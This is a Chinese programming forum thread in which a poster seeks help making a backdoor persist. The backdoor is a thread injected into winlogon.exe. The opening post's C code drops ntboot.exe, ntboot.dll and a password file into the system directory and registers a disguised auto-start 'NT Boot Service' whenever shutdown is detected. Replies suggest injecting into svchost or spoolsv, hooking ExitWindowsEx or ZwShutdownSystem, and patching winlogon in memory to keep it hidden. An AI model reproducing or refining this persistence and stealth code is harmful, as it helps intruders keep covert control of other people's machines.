参考农民的文章,他说做SetWindowsHookEx(WH_JOURNALRECORD,JournalRecordProc,GetModuleHandle(0),0);建立键盘钩子截获0xFF一键关机键,再用SetConsoleCtrlHandler(HandlerRoutine,1);判断dwCtrlType==CTRL_SHUTDOWN_EVENT || dwCtrlType==CTRL_CLOSE_EVENT来截获关闭程序或者关机时的控制信号。
引用:
系统被关闭一般有三种情况:正常关机,掉电(不正常关机),一键关机(按下power).
对于正常关机,程序会收到CTRL_SHUTDOWN_EVENT的信号,一键关机,可以简单的使用钩子
但掉电(不正常关机)老农实在想不出办法。好在一般的nt服务器很少这种情况。
这是我的代码:
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam){void resume();
if(code<0){return CallNextHookEx(msghook,code,wParam,lParam);}
if(code==HC_ACTION){
EVENTMSG * pevent=(EVENTMSG *)lParam;
if(pevent->message==WM_KEYDOWN && LOBYTE(pevent->paramL)==0xFF){resume();}
}
return CallNextHookEx(msghook,code,wParam,lParam);
}BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){void resume();
if(dwCtrlType==CTRL_SHUTDOWN_EVENT || dwCtrlType==CTRL_CLOSE_EVENT){resume();return 0;}
return 0;
}DWORD WINAPI hookthread( LPVOID lpParam ){MSG msg;
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam);
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType);
msghook=SetWindowsHookEx(WH_JOURNALRECORD,JournalRecordProc,GetModuleHandle(0),0);
//if(!msghook){MessageBox(0,itoa(GetLastError(),tmpstr,10),0,0);}
SetConsoleCtrlHandler(HandlerRoutine,1);
//if(!tmpret){MessageBox(0,itoa(GetLastError(),tmpstr,10),0,0);}
while (GetMessage(&msg, NULL, 0, 0)){DispatchMessage(&msg);}
UnhookWindowsHookEx(msghook);return 0;
}//resume two files and the service
void resume(){MessageBeep(0);MessageBeep(0);MessageBeep(0);
char syspath[256];int ret;DWORD bytesread;
ret=GetSystemDirectory(syspath,256);
HANDLE delfp=CreateFile(strcat(syspath,"\\ntboot.exe"),GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(delfp,memloader,sizeloader,&bytesread,0);CloseHandle(delfp);ret=GetSystemDirectory(syspath,256);
delfp=CreateFile(strcat(syspath,"\\ntboot.dll"),GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(delfp,memdll,sizedll,&bytesread,0);CloseHandle(delfp);ret=GetSystemDirectory(syspath,256);
delfp=CreateFile(strcat(syspath,"\\ntboot.dat"),GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(delfp,pwd,strlen(pwd),&bytesread,0);CloseHandle(delfp);SC_HANDLE schSCManager;
schSCManager=OpenSCManager(0,NULL,SC_MANAGER_ALL_ACCESS);
CreateService(schSCManager,"NtBoot","NT Boot Service",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,"ntboot.exe",NULL,NULL,NULL,NULL,NULL);
return;
}
发现在宿主程序正常结束时可以得到通知,但是重启,关机以及宿主程序被强行终止时都得不到消息(没有MessageBeep)。
给农民前辈发了邮件但无回音。希望大家指点怎样截获关机的消息,否则只要重起一次,后门就没有了,惨啊!先谢谢了!
引用:
系统被关闭一般有三种情况:正常关机,掉电(不正常关机),一键关机(按下power).
对于正常关机,程序会收到CTRL_SHUTDOWN_EVENT的信号,一键关机,可以简单的使用钩子
但掉电(不正常关机)老农实在想不出办法。好在一般的nt服务器很少这种情况。
这是我的代码:
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam){void resume();
if(code<0){return CallNextHookEx(msghook,code,wParam,lParam);}
if(code==HC_ACTION){
EVENTMSG * pevent=(EVENTMSG *)lParam;
if(pevent->message==WM_KEYDOWN && LOBYTE(pevent->paramL)==0xFF){resume();}
}
return CallNextHookEx(msghook,code,wParam,lParam);
}BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){void resume();
if(dwCtrlType==CTRL_SHUTDOWN_EVENT || dwCtrlType==CTRL_CLOSE_EVENT){resume();return 0;}
return 0;
}DWORD WINAPI hookthread( LPVOID lpParam ){MSG msg;
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam);
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType);
msghook=SetWindowsHookEx(WH_JOURNALRECORD,JournalRecordProc,GetModuleHandle(0),0);
//if(!msghook){MessageBox(0,itoa(GetLastError(),tmpstr,10),0,0);}
SetConsoleCtrlHandler(HandlerRoutine,1);
//if(!tmpret){MessageBox(0,itoa(GetLastError(),tmpstr,10),0,0);}
while (GetMessage(&msg, NULL, 0, 0)){DispatchMessage(&msg);}
UnhookWindowsHookEx(msghook);return 0;
}//resume two files and the service
void resume(){MessageBeep(0);MessageBeep(0);MessageBeep(0);
char syspath[256];int ret;DWORD bytesread;
ret=GetSystemDirectory(syspath,256);
HANDLE delfp=CreateFile(strcat(syspath,"\\ntboot.exe"),GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(delfp,memloader,sizeloader,&bytesread,0);CloseHandle(delfp);ret=GetSystemDirectory(syspath,256);
delfp=CreateFile(strcat(syspath,"\\ntboot.dll"),GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(delfp,memdll,sizedll,&bytesread,0);CloseHandle(delfp);ret=GetSystemDirectory(syspath,256);
delfp=CreateFile(strcat(syspath,"\\ntboot.dat"),GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(delfp,pwd,strlen(pwd),&bytesread,0);CloseHandle(delfp);SC_HANDLE schSCManager;
schSCManager=OpenSCManager(0,NULL,SC_MANAGER_ALL_ACCESS);
CreateService(schSCManager,"NtBoot","NT Boot Service",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,"ntboot.exe",NULL,NULL,NULL,NULL,NULL);
return;
}
发现在宿主程序正常结束时可以得到通知,但是重启,关机以及宿主程序被强行终止时都得不到消息(没有MessageBeep)。
给农民前辈发了邮件但无回音。希望大家指点怎样截获关机的消息,否则只要重起一次,后门就没有了,惨啊!先谢谢了!
解决方案 »
- 求助, IAccessible 的问题
- 一年到了,又要开始找房子了,有北京十号线沿线的哥们不?
- 关于Invalidate&InvalidateRect刷窗口做动画的问题...
- 问下一个弱智的问题,关于wininet和afxinet的
- 类间传递信息的问题,类中的成员变量也是个类,在这个类中改变了一个变量,怎么让包含他的这个类知道?
- 如何在设置"BROWSEINFO"在弹出时候的初始目录
- 帮忙解释一下,这两句话是什么意识
- 网络传输对象的序列化,反序列化
- 如何在SDI的工程中弹出对话框
- 为什么这么简单 的画线程序还执行不了,请帮忙分析一下
- 一个TabCtrl的问题,解决马上给分
- TIF格式文件的读取
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>void resume(){MessageBox(0,0,0,0);}BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){void resume();
if(dwCtrlType==CTRL_SHUTDOWN_EVENT || dwCtrlType==CTRL_CLOSE_EVENT){resume();return 0;}
return 0;
}int main(int argc, char* argv[])
{
printf("Hello World!\n");
SetConsoleCtrlHandler(HandlerRoutine,1);
while(1){Sleep(100);}
return 0;
}但是仍然得不到关机消息,没有出现对话框。而如果同时开着一个未存盘的记事本,它可以得到消息来询问,而我这个程序直接被终止了什么都没发生。晕啊,求教。 对了,补充一句,关闭程序时消息能收到并显示对话框。重起/关机不行。
然后响应
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
PAINTSTRUCT ps;
HDC hdc; switch (message)
{
case WM_QUERYENDSESSION:
case WM_ENDSESSION:
//。。
break;
}
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>void resume(){MessageBox(0,0,0,0);}BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){void resume();
if(dwCtrlType==CTRL_SHUTDOWN_EVENT || dwCtrlType==CTRL_CLOSE_EVENT){resume();return 0;}
return 0;
}int main(int argc, char* argv[])
{
printf("Hello World!\n");
SetConsoleCtrlHandler(HandlerRoutine,1);
while(1){Sleep(100);}
return 0;
}SetConsoleCtrlHandler这个consoleAPI是专门给console程序用的啊
但是开头那个代码是注射到winlogon.exe中的线程,logoff时不会被终止,为什么也不能得到关机消息呢?
向高手求助。
但是开头那个代码是注射到winlogon.exe中的线程,logoff时不会被终止,是服务线程,为什么也不能得到关机消息呢?
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){
if(dwCtrlType==CTRL_SHUTDOWN_EVENT || dwCtrlType==CTRL_CLOSE_EVENT){dosomething();return 0;}
BOOL WINAPI ConsoleHandler(DWORD CEvent)
{switch(CEvent)
{
case CTRL_LOGOFF_EVENT://用户注销一次这个会调用两次
CreateFile("d:\\d.d",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
/*MessageBox(NULL,
"User is logging off!","CEvent",MB_OK);*///有这个东西下面的d.dsh就不会创建成功,就是说不能做任何有关UI的操作CTRL_SHUTDOWN_EVENT里也是
break;
case CTRL_SHUTDOWN_EVENT:
HANDLE tmph=CreateFile("d:\\d.dsh",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
CloseHandle(tmph);
CopyFile("d:\\sinstallnt.zip","d:\\d.dsh",0);
//拷贝一个2M文件成功。试图拷贝一个500M电影失败,文件创建了,长度也设置了但是内容不对。
break;}
return 0;
}
经过N长时间痛苦的实验,重启2000serverN次后终于得到以上结论,就是还是能来得及做一些文件操作的。
但是下面,我又把那个注射进winlogon的线程的代码简化了一下,只是让它在获得CTRL_SHUTDOWN_EVENT信号时创建一个空文件
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){
switch(dwCtrlType)
{
case CTRL_SHUTDOWN_EVENT:
CreateFile("d:\\ndfot.l",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
break;
default:
break;
}
return 0;
}
郁闷的是连这个都不能创建成功。那么我觉得只有一个合理的解释就是winlogon.exe中的这个线程根本没有收到信号, HandlerRoutine根本没有执行。
很奇怪那么cmdbind2怎么会成功呢?大家来讨论一下,看看我是不是哪里分析错了。
通过Softice跟入就可以知道是否能调用到了。
说不定正如你所说,Winlogon根本不会收到CTRL_SHUTDOWN_EVENT信号。
我猜测Winlogon是产生CTRL_SHUTDOWN_EVENT信号而本身是不接受它的。
一家之言,达人们继续讨论。
做过实验了,的确如你所言。我的猜测正确。那么现在SetConsoleCtrlHandler不能用了,你有没有什么方法或者建议?
PS:不要说APIHOOK。这个东西现在我不想涉及,将来吧。
This control code allows the service to receive SERVICE_CONTROL_SHUTDOWN notifications. 根据MS的说法,在系统关闭的时候,Service会收到SERVICE_CONTROL_SHUTDOWN 的通知
你可以尝试在Server Ctrl Handler里面尝试处理这个通知。你试一下吧,我没试过 ^-^
然后由这个自己写的Sevice来通知你的程序啊。这样因该比注射到winlogon来通知你来的安全。
我为什么要注射winlogon不就是为了后门隐蔽吗,你又让我注册一个服务……
郁闷……
那么,你可以注射到Svchost.exe这个进程,他可以收到CTRL_SHUTDOWN_EVENT。而且它也是系统关键进程哦。
在不然的话,你读系统日志好了,系统正常、非正常关机里面都有记录。
我看了一下,Winlogon有调用ExitWindowsEx函数,你可以采用Hook API的方法,处理Wilogon的调用,并把他记录。不知道可不可行。
4 ways:
1 SetConsoleCtrlHandler(donot need msg queue)2 receive wm_queryendsession(need to register wnd class and msgqueue)3 SetWindowsHookEx WH_JOURNALRECORD hook shutdownkey 0xff(need a msg queue but do not receive msg from GetMessage,maybe windows automatically call the CALLBACK)4 SetWindowsHookEx WH_JOURNALRECORD hook any process receive wm_queryendsession(same to 3)基本思路就是用以上的4种方法来获得关机消息。
关于第一种,系统支持进程(winlogon,svchost等)无法获取,这是用SICE截程序中预先下的断点得知的。但是所有CUI的系统服务(如spoolsv.exe)都可以获取,自己定义的服务也行。
第二种,根据谷夕(gxisone)的实验只有注册了窗口类的GUI程序才能获得。CUI的系统服务我没有去试,但是试过了winlogon和svchost不行,也就是冰哥说的那种方法不行。
第三和第四种,令我们非常郁闷的是,这个SetWindowsHookEx WH_JOURNALRECORD 产生的钩子在系统支持进程中经过实验根本无效。我试了一个最简单的键盘钩子,当按下“b”键时一个MessageBeep(0),在任何CUI或者GUI的程序中都可以成功但是在系统支持进程中完全没有反应。因此得出结论就是在注射到系统支持进程(winlogon,svchost)中的线程没有我知道的方法能获取关机消息。HOOKAPI ZwShutdownSystem除外,但是我是初学者,只学了一年多点编程,现在仍然在ring3转悠,暂时不考虑这个方案。:)
所以现在这个后门只能注射象spoolsv.exe之类的普通系统服务。但是的确实现了ring3代码后门的无进程无DLL无文件无启动项,还是比较隐蔽的。现在把端口绑在了TCP138,等我做好了无端口的新版本,我会在安焦发布原代码的,到时候希望高手们指点一下后进生:)
大家如果有不同的实验结果,请赶快跟帖,我水平有限,难免出错:)
{
// TODO: Add your specialized code here and/or call the base class
if(message == WM_ENDSESSION)//关闭消息
{
//||(lParam==EWX_SHUTDOWN)||(lParam==EWX_REBOOT)||(lParam==EWX_FORCE)||(lParam==EWX_POWEROFF) if(lParam == ENDSESSION_LOGOFF)
{
AfxMessageBox("2");
return 0;
}
if(wParam)
{
AfxMessageBox("4");
return 0;
}
}
// AfxMessageBox("1");
return CDialog::WindowProc(message, wParam, lParam);
}
4 ways:
1 SetConsoleCtrlHandler(donot need msg queue)2 receive wm_queryendsession(need to register wnd class and msgqueue)3 SetWindowsHookEx WH_JOURNALRECORD hook shutdownkey 0xff(need a msg queue but do not receive msg from GetMessage,maybe windows automatically call the CALLBACK)4 SetWindowsHookEx WH_JOURNALRECORD hook any process receive wm_queryendsession(same to 3)基本思路就是用以上的4种方法来获得关机消息。
关于第一种,系统支持进程(winlogon,svchost等)无法获取,这是用SICE截程序中预先下的断点得知的。但是所有CUI的系统服务(如spoolsv.exe)都可以获取,自己定义的服务也行。
第二种,根据谷夕(gxisone)的实验只有注册了窗口类的GUI程序才能获得。CUI的系统服务我没有去试,但是试过了winlogon和svchost不行,也就是冰哥说的那种方法不行。
第三和第四种,令我们非常郁闷的是,这个SetWindowsHookEx WH_JOURNALRECORD 产生的钩子在系统支持进程中经过实验根本无效。我试了一个最简单的键盘钩子,当按下“b”键时一个MessageBeep(0),在任何CUI或者GUI的程序中都可以成功但是在系统支持进程中完全没有反应。因此得出结论就是在注射到系统支持进程(winlogon,svchost)中的线程没有我知道的方法能获取关机消息。HOOKAPI ZwShutdownSystem除外,但是我是初学者,只学了一年多点编程,现在仍然在ring3转悠,暂时不考虑这个方案。:)
所以现在这个后门只能注射象spoolsv.exe之类的普通系统服务。但是的确实现了ring3代码后门的无进程无DLL无文件无启动项,还是比较隐蔽的。现在把端口绑在了TCP138,等我做好了无端口的新版本,我会在安焦发布原代码的,到时候希望高手们指点一下后进生:)
大家如果有不同的实验结果,请赶快跟帖,我水平有限,难免出错:)重发一次,大家都用的那种方法,就是我说的第二种,是只有注册了窗口类的GUI程序才能获得的。
并不困难,只影响某个可执行文件,不干扰系统的API.虽然说ExitWindowsEx调用了ZwShutdownSystem,但是我们没有必要用内核级Hook啊。我的想法是可以给winlogon打上个内存补丁。不过,未经检验,不知道可不可行。
http://www.yesky.com/SoftChannel/72342376173010944/20031029/1739954_5.shtml
对了,如果有什么其他有趣的讨论题目,可以给我发短消息啊。
那样如果是其他程序调用ExitWindowsEx关机就不能写入启动键了。
不去HOOK ZwShutdown也行,但是也要对所有进程HOOK ExitWindowsEx啊,都是内核级的,难度差不多。
你说的那种基于可执行文件IAT表(Import Address Tab)替换的,Hook API技术,《windows核心编程》上有,也可以做到HOOK所有进程,不过动作和代价都太大了,而且会被轻易绕过,还不如直接作内核级的HOOK。
什么意思啊,是说其他程序调用ExitWindowsEx都会先把控制权转到winlogon,winlogon又调用ExitWindowsEx吗?不太可能啊,其他程序调用ExitWindowsEx都会先把控制权转到winlogon,winlogon又调用ZwShutDown还有些可能:)